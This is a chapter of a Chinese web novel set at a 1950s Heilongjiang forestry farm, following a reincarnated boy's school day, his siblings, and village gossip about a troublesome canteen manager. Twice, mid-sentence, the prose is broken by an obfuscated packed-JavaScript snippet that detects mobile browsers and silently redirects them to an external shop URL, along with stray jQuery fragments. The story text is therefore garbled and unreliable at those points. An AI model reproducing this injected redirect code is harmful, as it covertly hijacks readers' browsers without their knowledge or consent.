他都快三十的人了,跟一个十来岁小姑娘吵什么?没得落了下成。 这时候初中的科目也不少,语文,政治,历史。还有代数,几何跟化学物理。 代数课跟几何课虽然都是数学课,但是分着上的,课本也是分两本。 这些都是简单的初中题目,他看一眼就会。 可发现数学课本上解题的步骤,却和自己学的不太一样。 有些繁琐。 不过想想也正常,他之前的课本拿去问他爸妈,许放跟周敏也说跟自己当年学的不一样。 这些教学的方式与时俱进,没几年就翻新一次。 只要最后得出来的结果是同样的,那就没问题。 林场附小附中的教学水平也就这样,只有学生聪明认学才能获得直升高中的机会。 如果上不了高中,要么就直接进入社会找地方上班,要么就复读。 其实上高中的都是为了考大学准备,如果不想考大学,初中还能考中专。 中专都是各个直属单位专业培训的那种,譬如说纺织厂有纺织职业的中专,学校有师范类型的中专。 中专比高中还难考,因为要学三年,毕业之后直接就能进单位,还能获得一个干部职位。 五十年代这个时候学校并不是全国统一的那种教学,但也有大概的范围。 小学五年,初中两年,高中有的地方两年,有的地方三年。 不过中专都是三年,最后半年是实习,根据实习水平安排在厂子里的位置。 林场附中的老师,有几个是曾经私塾出来的老师,还有就是考大学没有考上的高中生。 但许晨知道这已经不错了,要不是林场财大气粗,也请不到这样的老师。 因为很多地方的老师,还都是五年级教一二年级,初中毕业生教初一初二的模式。 全都是照本宣科,至于学生能学到什么,那就不知道了。 但高中老师都是比较厉害的老师,毕竟上了高中的学生都是准备要上大学的,往大学输送人才,绝对不能马虎。 初中已经开设外语课了,也不是硬性要求都去听课,考试也不考。 许娟儿就上了俄语课,学的还不错。 至于英语课暂时还没有,听说是七八十年代才开始推行全国统一学英语的,因为那时候欧美的强大,让英语成了主流外语。 但初中不学外语,到了高中,外语就是必学课。 许晨打听了,高中开设俄语课,日语课和德语课。 思来想去,他能学并且能学得会的,估计也就日语了。 小本子动画片功不可没。 上午四节课教语文代数,最后一节课是体育课。原本很受欢迎的体育课在吃不饱肚子之后成了最不受欢迎的科目,体育课就代表可以提前回家,所以第三节课一下课,班里的人都开始呼啦啦收拾课本往家里跑了。 初中班级只有四个,每个班也就三十来个学生,这已经是多的了,因为里面都是林场子弟。 而且三个是初一,初三只有一个班。 因为初一有不少留级生,还有读完初一实在跟不上课的,干脆就不上了。 导致初二学生特别少,一个班都凑不满四十个人。 等到了高中,人就更少了。整个镇上,凑不满二百个高中生。 这时候的人,确实不太重视教育,镇上还好,如果是村里,认几个字那就已经是文化人了。 “许晨许晨!!”刚出了教室,远处有个皮小子嗷嗷叫道:“走啊,我们去掏兔子窝啊?” 许晨有些心动,兔子就等于肉,他太想吃肉了。 顾哲不赞同的拽了他一把,小声道“上次你跟他们出去玩,从树上掉下来,他都没去看过你一眼。” 许晨:??? 什么,竟然是个小白眼狼?那不跟他玩了。 “不去,我得去接我弟弟妹妹。”许晨婉拒。 “你弟弟妹妹都多大了,还用接?”那秃小子把书包带套在脑门上,吧唧吧唧的跑过来,书包就跟屁股后面拍打,其中两个角都磨破了,露出里面卷的一塌糊涂的课本。 走近能看的更清楚,许晨忍不住后退一步。 这秃小子太脏了,俩棉袄袖子漆黑锃亮,还能看见上面的鼻涕嘎巴。 脸上都皴黑了,脖子黑的跟车轴似的,鼻子下面还有用袖子擦鼻涕蹭出来的两条八字儿,像两个小胡子。 许晨嫌弃坏了,道:“我不跟你玩去,我脑袋还不舒服呢。” “切,没劲儿。”秃小子撇撇嘴,看了眼顾哲,阴阳怪气道:“哟哟哟,这不是好学生吗?” 顾哲没搭理他。 秃小子开始拍手,边拍边笑道:“哟哟,好学生,好学生。” 许晨大为惊奇,忍不住问顾哲,“好学生有什么好拍手的?还是说这是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16708611|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗号?” 顾哲没搭理他,只是往前走。 季航诧异道:“许晨你脑子真的摔坏了?之前你不也跟着起哄吗?” 许晨:??? 原身脑子有问题? 这有什么好起哄的? “好学生,好学生!”跟秃小子一起的几个小子也跟着拍手起哄,还哄笑,仿佛在做一件及其能羞辱人的事。 季航烦死了,大声道:“刘小赖,你个留级生,嚷嚷什么?四年级读了三年,到现在都没高小毕业!哟哟,留级生!” 他也开始跟着拍手吆喝了。 许晨尴尬的要死,拽着顾哲就开始跑。 季航连忙跟上,一边跑一边道:“刘小赖,留级生,哟哟,留级生!”顾不上拍手了,开始拍屁股。 许晨:…… 饶了他吧。 这时候的孩子真单纯啊,这种事到底是怎么好意思互怼的? 初中就在附小不远的地方,其实算是一个校区,但因为之前初中生跟小学生总是打架吵架,给校长烦死了,干脆从中间修了一道墙。 两个学校的门开在了对角线上,争取让他们互相远离。 从校门口出去,要绕一大圈才能到小学门口。 不过很多皮孩子直接跳中间墙头。 一米六不到的墙头,压根难不住这群玩野了的小男孩小女孩。 许阳八岁上学,现在读三年级。 许光今年也八岁了,刚出育红班,开始上一年级。 小学的课更少,老师基本就是育红班老师的延伸,上课教认字,写名字,唱几首歌,学几个算数就算是一堂课。 大多数时间老师就只上半堂课,后半截让学生写字,算算数。 因为吃得少,太用力教课,会饿。 小学和初中的老师待遇一般,定量粮还没工人多呢。工资也一般般,唯一的好处就是一年里面小半年都在放假,而且放假工资照发。 黑省这边冷的早,雪也大。 如果下了大雪,小学初中就直接停课。 许晨知道后羡慕的不行,他上学的时候,无论家长还是同学,都已经卷起来了。 周六日上课外班,每天作业写到十一点,寒暑假还有什么夏令营冬令营,有的甚至会组织出国见见世面。 他从幼儿园就开始学英语了,学的那叫一个心烦啊。 英语这玩意真的是活到老学到老,只要出来新的东西,那群外国佬就开始造新词儿,全世界都跟着学。 一点儿语言逻辑都没有,要命了。 初小最后一节课可不是体育课,主要是怕这群孩子乱跑,都安排了自习课。 虽然是自习课,但很自由。 有多自由呢? 许晨往窗口那一站,老师就知道是来接学生的了,直接点了许阳许光的名字,告诉他们可以放学啦。 许阳淡定的收课本背着书包跟在三个哥哥身后,等到接许光,就发现许光如蒙大赦,把桌子上的东西跟垃圾一样往书包里一划拉,猴子似的窜出来。 看见姐姐老实了半晌,但没走几步又开始激动。 “哥,幸亏你来了,我坐的腚都麻了。上学真烦人啊。” 得,典型的学渣。 21.吃瓜不停 “你敢不好好学,以后你姐揍你我可就不拦着了!”许晨威胁。 要说他们兄弟俩也“倒霉”,每个人头上都顶了个姐。 东北这边重男轻女的少,谁家养出来的姑娘敞亮,那都是让人羡慕的存在。 大姑娘捧着养,得让下面兄弟们都怕她。老姑娘娇着养,可不能在兄弟里受委屈。 许家许娟儿就让人伸大拇指,人出落的水灵,个头也高,学习还好。 在学校里,谁敢欺负她弟弟,娟姐抡起巴掌能横扫。 有这么个能镇得住场子的姐,下面几个小的都能横着走了。 前提是别惹事儿,主动惹事,娟儿姐的巴掌也会落自己头上来。 当弟弟的想还手? 行啊,还手之前只是跟姐姐单挑。还手之后就会迎来父母男女混合双打。 你一个爷们敢跟女人动手?反了天了! 许阳完美的继承了她姐的彪悍,上面管不住她哥她也不惧,下面管弟弟,那是手拿把掐的。 好几次揍弟弟,还得哥哥来拉架呢。 许光听许晨这么说,小脸儿登时就拉拉下来了。 毕竟他姐揍他,那是真舍得下手。 去年他淘气,过年的时候在他姐许阳新罩衣上抹了个黑手印,还哈哈大笑呢,一个嘴巴就抡上来了。 然后? 然后那个年他都是哭着过的。 那个教训让他能死死的记清楚,他姐的东西,绝对不能碰。如果要碰,那也必须洗干净爪子。 否则就且等着挨揍吧。 “你都没能好好读书呢,要不是大哲哥帮你,你都上不了初中。” 许光哼哼唧唧的拆自己哥哥的台。 “那你有人帮吗?”许晨抬脚轻踹一下许光的屁股,给他踹了个趔趄,“你有人帮,能让你不留级,我就不说别的。” 许光挠头。 目前为止,他身边坐着的几个好朋友,学习都是二五眼。 开学俩月了,小九九没有背会,诗也没背两首。十以内的加减法还稀里糊涂呢。 顶多就会写自己的名字。 “幸亏咱爹给我起的名字简单,”想到写名字,许光又来了精神,“我同桌,哈哈哈哈他叫徐博鑫,哈哈哈,一节课光写自己名字了,写半天都写不明白,气的直哭,天天嚷嚷着要改名。” 徐博鑫这个名字,一听就特别有文化。 没文化的也起不来这样的名,林场这边小孩儿,有个正经名字都不容易。还有更多孩子叫什么大丫二丫,大狗二狗呢。 那真的是连学都不上,擎等着接父母的班或者嫁人的。 并不是所有人,都相信知识改变命运这一说。 对他们来讲,上了学当干部这种事,是他们可望而不可即的,压根就不去幻想。 能当个伐木工,有足够的定量粮,单位发工资发票,就很知足了。 工人总比村里那种土里刨食的强百套。 许晨想了一下,别说,可能他爸的前身觉得自家孩子都是学渣,不敢起太复杂的名字。 否则真连名字都不会写,也是个麻烦事。 林场小学学生不少,老师也不少。 毕竟是大单位,要安置子弟。单位干部什么的多了,就会让孩子去上学。 干部孩子上学了,围绕着干部的一些人也会让自家孩子去上学。 一学期两块钱,也不是拿不起。 而且一家不止一个孩子,所以林场小学还是很热闹的。 接弟弟妹妹的工夫,已经也有别的大孩子来接自己的弟弟妹妹了,操场三三两两都是往外跑的孩子。 “季航,许晨,要不要去捞鱼啊?”又有小伙伴发出了邀请。 不过没人请顾哲,对学渣来说,学习好的学生是很难接近的。万一不小心把人磕碰了,不光家长要骂人,老师也要骂人的。 再加上顾哲父母都不在,家里没有大人,成天跟许晨混在一起。 许晨也算是个“老大”了,不敢说振臂一呼能发动多少小弟,但招惹了他,绝对是个麻烦事儿。 因为许晨他爹,是林场派出所的! 派出所的警察,对这群小孩子们来说,有着绝对的震慑力。 他们可以不跟顾哲玩,但也绝对不敢随便招惹顾哲。惹急了许晨,他绝对会招呼一群小伙伴把人孤立了。 小孩儿最怕被孤立,没人带他玩,回去得趴炕上哭死。 家长可不会参与这种事儿,备不住还得吃顿笤帚疙瘩爆后鞧,实在犯不上。 “上哪儿捞去?”听见有鱼,许晨就兴奋了。 兔子吃不上,鱼也可以啊,瓦罐炖鱼汤也很美味的。 “就河岔子那边!”喊他的小孩伸手指了个方向。 许晨有些心动。 不过他还没张嘴,许阳就道:“你敢去河岔子,等回去我就告诉爹娘,给你屁股抽开花!!” 顾哲也道:“冰还没冻结实呢,去那边有些危险。” 看看,还是学霸知道怎么委婉的劝阻。 季航挠挠头,“咱们也没网子啊,现在捞什么鱼。等都冻结实了打个冰窟窿捞多方便呢。” 许晨只能喊回去,“我们不去了,肚子饿,回家等吃饭。” 想了想又喊道:“你们也别去,那边冰都没冻结实呢!” “许晨你摔了头,是不是把胆子也摔没了?”有大孩子挑衅道:“这也不去那也不去,你不会是想要当个好学生吧?” 顿时一片起哄声。 许晨无语。 当好学生是什么很羞耻的事吗? 明明留级坐地炮才羞耻! “反正我不去,让我姐知道你们忽悠我去河岔子,她回来绝对会找你们算账的。”这种情况下,报许娟的大名比自己嚷嚷要管用。 那群秃小子一听到许娟,就偃旗息鼓了。 许娟可惹不起,她不敢说打遍林场无敌手,但她有自己的闺蜜圈,都是当姐的。 一声下去,姐姐们抡巴掌是小事,跟家长告状那绝对逃不开一顿揍。 虽然去不了,但许晨心里还是蠢蠢欲动的。 但他又不是真的小孩儿,知道什么事能做什么事不能做。等回家跟他爸说一声,估计他爸许放得比他还心痒呢。 要知道上辈子的许放,也是养鱼大队的一员,天天打窝,天天空军。 光钓鱼竿家里买了十多套,什么溪钓河钓海钓,什么路亚什么抛竿什么手竿…… 有一次他老妈跟老爸拌嘴,说什么以后钓不来鱼家里就不买鱼吃,就吃许放钓回来的。 他爸拍胸口承诺绝对让家里吃鱼吃个够,结果呢? 一年都没鱼吃。 总之,如果知道河岔子能捞鱼,估计老爸俩眼都得冒绿光。 跟许晨一起老老实实从学校往住宿区走的小孩儿也不少,一路上哼着歌,踢着石头子儿,薅根树杈子。 总之没闲着的。 回住宿区那边会路过回收站,许晨背着包踢踢踏踏的溜达过去,“张阿姨,我娘呢?”他也开始学着跟这边的人喊爹娘了。 “哟,晨晨,好家伙,你们这是放学了?”张阿姨就喜欢坐在回收站门口太阳地下面的树干上。 这是一棵挺粗的大树,放倒了在这里,能坐十多个人。 而且坐在这里,会有周围的老姐妹儿们过来唠嗑,从而得知整个林场各种八卦。 “你娘跟屋里烤火呢,”张阿姨指了指屋子,“赶紧进去暖和暖和,喝点儿热乎水。” “知道了张阿姨,”许晨带着小伙伴和弟弟妹妹就进了收费站。 “你们这是放学了?”周敏手里也没有闲着,正在缝鞋垫子。主要是一天天没事干,她再不找点儿事,就太难受了。 回收站的报纸都被她翻了好几个来回,最近也没有收到什么新报纸新杂志,更别说手机电脑了,消遣除了干活,就是八卦。 “我们最后一节课是体育课,能提前回来,我就把他俩接回来了。” 许晨拿了杯子去倒水,先给弟弟妹妹们喝,然后自己和顾哲季航分着喝。 其实他们也不冷,一路走回来浑身都冒热气了,又是个大晴天,太阳晒在身上暖融融的。 这边还没下雪,不过听老人说快了,估计还会憋个大的。 “那咱们回去。”周敏也懒得缝鞋垫子了,她手艺真不咋地,还没许娟的针线工夫好呢。 把东西都收拾进布袋子里,这布袋子还是之前买粮食跟人家多要的口袋,回来剪开改一改,能做袋子也能做衣裳。 “你们回去啊?”张阿姨看见周敏带着孩子们出来,便笑道:“要我说你每天过来点个卯就成了,咱们这里也没啥事儿,你挺个肚子,过些日子下了雪,再滑到咋整?” 周敏道:“真下了大雪,你也不用来。谁大雪天出来卖废品?” 张阿姨嘎嘎大笑,“哎,在家待着也没啥事儿,烦得很。” 等走得远了,许晨才道:“刚才看张阿姨跟那群婶子大娘们唠的可开心了,眉飞色舞的,不知道都说些什么。” 周敏叹气道:“说李有德家里的事儿呢。” 许晨想了一会儿,才想起来李有德是谁,“咋?咱们回老家这一半天儿的,他家又闹幺蛾子了?” “可热闹了!”周敏没有能吃上现场瓜,后悔的直拍大腿,“李有德娘家跟张彩凤娘家在这边干上了,然后李家被打了个落花流水,李有德还被逼着签了悔过书。哎呀,你说,我回娘家干啥啊!” 许晨:…… 别说,他也有点儿后悔。 “展开说说呢?我张阿姨咋说的啊?” 周敏兴致勃勃道:“说张彩凤娘家去了李有德家,哦,他们两家一个在镇上,一个在村里,都说张彩凤下嫁,我看也是这么回事儿。总之人家去了李家那边村上,喊着大队长跟他们大队支书直接奔了李家,进去就砸,边砸边骂,还从李家搜出来两千多快三千块钱。” 许晨一愣,“是李有德偷回去的钱?” 周敏幸灾乐祸道:“是李家自己藏起来的钱,也就是说,他家明明有钱,但是就让李有德拿自家的钱回去给弟弟买工作。结果让张家一杆子全撩开了。然后李家脸皮都快被扒光了,跑来这边跟儿子哭,张彩凤直接让人把娘家人喊来了,两边一对峙,又把老李家脸皮扒了一次。” 说着,就恨恨的跺了跺脚,“这么热闹,我怎么就不在呢!” 昨天回来去上班的时候张阿姨请假没去,错过了一手消息,今天才知道在自己回老家的时候,竟然发生了这么热闹的事儿。 太遗憾了! 一群人又说又笑的往家里走,还没走到门口呢,就看见门口蹲着几个人。 周敏一愣,快步走过去,“老支书?你们怎么在这里啊?” 昨天老支书说要来镇上,后来有事儿耽误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16714709|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,估计是今天才来。 老支书站起来,笑呵呵道:“这不是一大早去镇上公社了吗?等火车要下午,寻思着来你家这边坐一会儿。” “快进来快进来,”周敏掏出钥匙开门,“我家老许得一会儿才能回来,晨晨,赶紧去倒几碗热水。季航你在这里玩呗,一会儿一起去食堂。” 季航摆摆手道:“不了婶儿,我得赶紧回去,否则我妈又得到处喊我。” 他说完,还乖巧的跟老支书道再见,才一蹦一跳的跑了。 进了屋,灶膛子里烧了火,屋里就开始暖和了。 老支书喝了水,道:“这次去公社,就是解决那个王大全的事儿。不能让他在食堂干活了,让他这么折腾下去,村里人都快没活路了。” 周敏让他们都上了炕,自己坐在炕下的椅子上,问道:“那公社什么意思?” 老支书道:“公社的人不管,之前让王大全负责食堂的那个干部听闹了这么一出,就说王大全也不是干部,也不是公社的人,让村里自己拿主意。” “但留这么个人,终归是个祸害。”周敏想到再过十年就要起风暴,如今王大全还不到三十,到时候不到四十,如果加入那个什么派,按照他上蹿下跳的这个劲儿,指不定要折腾出什么花样来呢。 “总是能解决的,”老支书笑了笑,抽出旱烟袋来。 周敏见状,连忙从柜子里摸出两包牡丹江,“抽这个抽这个,我家也没旱烟,老许烟瘾也没那么大。老支书,还有你们,都拿着抽。” 周敏辈分有些大,老支书都得跟她喊一声姑,那几个跟着来的年轻汉子,也得跟她喊姑,还有个得叫姑奶奶呢。 又不是在村里,也没必要撑这个架子,周敏就只喊老支书,剩下的几个叫名字。 “成,这可是干部烟,哎呀,我们也跟着沾个光。”老支书挺开心,收起旱烟袋,撕开一包给大家分了分,剩下的那一整包,不好意思,揣兜了。 周敏看他们都在吞云吐雾,便站起身道:“一会儿我们得去食堂,总不能让你们饿着,我给你们煮个粥吃。” “不用不用,下午我们就都回去了,家里有东西吃。”老支书连忙摆手。 “有啥吃的啊,烀南瓜烀红薯?照这么吃下去,都得吃出问题来!”周敏道:“之前老许弄了点儿苞米面儿,我切点儿白菜进去煮个粥,多了也没有,一人一碗还是够的,好歹填填肚子。” 周敏去舀面,又往里面掺了些那种替代粮。把锅里的热水舀出来灌暖水壶去,然后重新烧了水,煮了一大锅黏粥,里面还切了半颗大白菜。 又从罐子里捞出个酱菜疙瘩,刷刷的切成丝,这就是下粥的菜了。 还没弄好呢,许放就回来了。 在屋里跟老支书嘀咕了一会儿,就笑呵呵出来,让跟着老支书来的一个汉子把西屋炕也烧上。 一会儿他们几个在这里吃饱了睡一觉,等下午跟小火车回村里。 村里人极少会来镇上,如果天气暖和还好,在外面找个地方休息一下,等小火车回去。 等气温降低,基本上都不会出村。 要不是那个王大全实在是太讨厌了,老支书也不可能大冷天跑这么老远。 得亏他们村在镇上林场有亲戚,否则就真的得找个地方晒着太阳熬了。 从食堂回来的路上,许放压低声音跟周敏道:“王大全估计要倒大霉了,老支书烦死他了,如今镇上那个干部也不会给王大全说话。” 周敏是知道老支书为人的,东北毕竟是爆发战争最早的地方,这里能撑到解放还能当上支书的,绝对不会是个简单人。 “早就看他烦了,老支书也真能忍。”周敏想起王大全那副德行,心里就直犯恶心。 那小子年轻的时候可真不是什么好东西,别看天天背着书包去上学,装的像个文化人,可偷鸡摸狗什么都会,爬寡妇墙头,偷看女人洗澡,他都干过。 也就是当初他爹妈都在,而且那时候他也不住村里,村里人对他也没有什么太大印象。 但这货自从回了村儿,一天都没消停过。 不是挟恩图报,就是各种哭穷。吃了东家吃西家,去上学还天天伸手跟村里要钱。 原本村里还指望他毕业之后去当个干部,给村里人谋福利呢。 结果? 呵呵,被人灰溜溜赶回来不说,还娶了个半掩门子当老婆。 按说都娶媳妇了,也回村了,消停点儿吧? 不,觉得自己读过书,天天穿一身干部服,胸口插跟钢笔,跟村里装大尾巴狼呢。 甚至还想竞争村干部,要当村里的财务,说就是自己识字,会计算。 好家伙,老财务那是正经市里皮货商退下来的掌柜,算盘子成精的人物,你跟人家比? 当年市里机械厂请老人家出山,人家都没去呢,要在村里养老。 那可不是一般的机械厂,那是这边的支柱产业,专门生产汽车火车的地方! 相比之下,你王大全算个屁啊。 王大全在村里也不想干活儿,就混吃混喝。 现在又赶上了大锅饭的好日子,先是放卫星在镇里公社干部面前得了脸,然后混了个食堂管理员,就不知道自己姓什么了。 村里人忍他也不是一天两天的了,如今得了机会,能不给他一顿干老实了? 周敏还想细问,许放神秘兮兮的摇了摇头,“且等着吧,早晚的事。”